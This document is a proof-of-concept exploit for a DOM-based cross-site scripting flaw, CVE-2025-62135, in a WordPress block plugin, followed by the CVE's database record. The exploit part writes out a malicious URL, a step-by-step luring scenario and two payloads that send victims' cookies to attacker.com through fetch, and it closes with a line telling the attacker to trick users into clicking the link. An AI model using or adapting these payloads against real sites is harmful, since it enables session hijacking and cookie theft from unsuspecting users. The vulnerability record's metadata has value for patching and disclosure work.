CVE-2025-62135

// CVE-2025-62135 DOM-based XSS PoC // Target: WordPress Responsive Block Control Plugin <= 1.3.0 // Malicious URL to trigger XSS const maliciousURL = 'https://victim-site.com/?rbc_param=<img src=x onerror=alert(document.cookie)>'; // Attack scenario: // 1. Attacker crafts a malicious link containing XSS payload // 2. Lures victim to click the link (social engineering) // 3. When victim visits the page, plugin's JavaScript reads the parameter // 4. Unsanitized input is inserted into DOM // 5. Browser executes the malicious JavaScript code // Example payload for cookie stealing: const cookieStealingPayload = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">'; // Example payload for session hijacking: const sessionHijackPayload = '<script>fetch(`https://attacker.com/log?data=${btoa(document.cookie)}`)</script>'; console.log('PoC for CVE-2025-62135'); console.log('Vulnerable parameter: rbc_param (or similar user-controlled input)'); console.log('Payload:', cookieStealingPayload); console.log('Attacker should host this URL and trick users into clicking it.');

{"cve": {"id": "CVE-2025-62135", "sourceIdentifier": "[email protected]", "published": "2025-12-31T12:16:17.937", "lastModified": "2026-04-23T15:34:36.370", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in landwire Responsive Block Control responsive-block-control allows DOM-Based XSS.This issue affects Responsive Block Control: from n/a through <= 1.3.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en landwire Responsive Block Control permite XSS basado en DOM. Este problema afecta a Responsive Block Control: desde n/a hasta 1.2.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/responsive-block-control/vulnerability/wordpress-responsive-block-control-plugin-1-2-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}